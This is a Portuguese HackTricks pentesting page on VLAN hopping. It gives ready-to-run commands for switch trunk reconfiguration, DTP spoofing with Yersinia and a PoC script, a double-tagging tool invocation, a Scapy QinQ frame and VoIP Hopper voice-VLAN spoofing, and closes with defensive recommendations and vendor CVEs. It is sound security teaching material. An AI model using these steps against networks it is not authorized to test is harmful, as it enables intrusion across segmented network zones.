Bypass de Segmentação Lateral de VLAN

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Se o acesso direto a um switch estiver disponível, a segmentação de VLAN pode ser contornada. Isso envolve reconfigurar a porta conectada para o modo trunk, estabelecer interfaces virtuais para as VLANs alvo e definir endereços IP, seja dinamicamente (DHCP) ou estaticamente, dependendo do cenário (para mais detalhes, consulte https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Inicialmente, é necessário identificar a porta conectada específica. Isso pode ser tipicamente realizado através de mensagens CDP ou procurando pela porta via a máscara include.

Se o CDP não estiver operacional, a identificação da porta pode ser tentada procurando pelo endereço MAC:

SW1(config)# show mac address-table | include 0050.0000.0500

Antes de mudar para o modo trunk, uma lista de VLANs existentes deve ser compilada e seus identificadores determinados. Esses identificadores são então atribuídos à interface, permitindo o acesso a várias VLANs através do trunk. A porta em uso, por exemplo, está associada à VLAN 10.

SW1# show vlan brief

A transição para o modo trunk envolve entrar no modo de configuração da interface:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Mudar para o modo trunk irá interromper temporariamente a conectividade, mas isso pode ser restaurado posteriormente.

Interfaces virtuais são então criadas, atribuídas IDs de VLAN e ativadas:

bash
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Em seguida, uma solicitação de endereço é feita via DHCP. Alternativamente, em casos onde o DHCP não é viável, os endereços podem ser configurados manualmente:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20

Exemplo de configuração manual de um endereço IP estático em uma interface (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10

A conectividade é testada iniciando solicitações ICMP para os gateways padrão das VLANs 10, 20, 50 e 60.

Em última análise, esse processo permite contornar a segmentação de VLAN, facilitando o acesso irrestrito a qualquer rede VLAN e preparando o terreno para ações subsequentes.


Outras Técnicas de VLAN-Hopping (sem CLI privilegiada do switch)

O método anterior assume acesso autenticado ao console ou Telnet/SSH do switch. Em engajamentos do mundo real, o atacante geralmente está conectado a uma porta de acesso regular. Os seguintes truques de Camada 2 frequentemente permitem que você faça pivotagem lateral sem nunca fazer login no sistema operacional do switch:

1. Switch-Spoofing com Protocolo de Trunking Dinâmico (DTP)

Switches Cisco que mantêm o DTP habilitado negociarão felizmente um trunk se o par afirmar ser um switch. Criar um único quadro DTP “desejável” ou “trunk” converte a porta de acesso em um trunk 802.1Q que transporta todas as VLANs permitidas.

Yersinia e vários PoCs automatizam o processo:

bash
# Become a trunk using Yersinia (GUI)
sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Recon helper (identificar passivamente o estado DTP da porta):

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

# or

wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0

Uma vez que a porta muda para trunk, você pode criar subinterfaces 802.1Q e pivotar exatamente como mostrado na seção anterior.

2. Double-Tagging (Abuso de VLAN Nativa)

Se o atacante estiver na VLAN nativa (sem tag), um quadro elaborado com duas cabeçalhos 802.1Q pode pular para uma segunda VLAN, mesmo quando a porta está bloqueada em modo de acesso. Ferramentas como VLANPWN DoubleTagging.py (atualização de 2022-2025) automatizam a injeção:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

3. Empilhamento QinQ (802.1ad)

Muitos núcleos empresariais suportam encapsulamento de provedor de serviços Q-in-Q. Onde permitido, um atacante pode encapsular tráfego etiquetado com 802.1Q arbitrário dentro de um provedor (S-tag) para cruzar zonas de segurança. Capture para ethertype 0x88a8 e tente remover a etiqueta externa com Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

4. Sequestro de Voice-VLAN via LLDP/CDP (Spoofing de IP-Phone)

As portas de acesso corporativas geralmente estão em uma configuração “acesso + voz”: VLAN de dados não marcada para a estação de trabalho e uma VLAN de voz marcada anunciada através do CDP ou LLDP-MED. Ao se passar por um telefone IP, o atacante pode descobrir automaticamente e pular para a VLAN VoIP—mesmo quando o DTP está desativado.

VoIP Hopper (embalado no Kali 2025.2) suporta CDP, opções DHCP 176/242, e spoofing completo de LLDP-MED:

bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940

# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z

# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN

A técnica contorna a separação de dados/voz e é extremamente comum em switches de borda corporativos em 2025, pois o auto-política LLDP está habilitado por padrão em muitos modelos.


Recomendações Defensivas

  1. Desative o DTP em todas as portas voltadas para o usuário: switchport mode access + switchport nonegotiate.
  2. Altere a VLAN nativa em cada trunk para uma VLAN de buraco negro não utilizada e a marque: vlan dot1q tag native.
  3. Prune VLANs desnecessárias em trunks: switchport trunk allowed vlan 10,20.
  4. Aplique segurança de porta, DHCP snooping, inspeção dinâmica de ARP e 802.1X para limitar a atividade Layer-2 não autorizada.
  5. Desative as políticas de voz automáticas LLDP-MED (ou bloqueie-as para MAC OUIs autenticados) se o spoofing de telefone IP não for necessário.
  6. Prefira VLANs privadas ou segmentação L3 em vez de depender apenas da separação 802.1Q.

Vulnerabilidades de Fornecedores no Mundo Real (2022-2024)

Mesmo uma configuração de switch perfeitamente endurecida pode ser comprometida por bugs de firmware. Exemplos recentes incluem:

  • CVE-2022-20728† – Cisco Aironet/Catalyst Access Points permitem injeção da VLAN nativa em VLANs WLAN não nativas, contornando a segmentação com fio/sem fio.
  • CVE-2024-20465 (Cisco IOS Industrial Ethernet) permite contorno de ACLs em SVIs após alternar o Protocolo Ethernet Resiliente, vazando tráfego entre VRFs/VLANs. Patch 17.9.5 ou posterior.

Sempre monitore os avisos do fornecedor para problemas de contorno/ACL relacionados a VLAN e mantenha as imagens da infraestrutura atualizadas.


Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks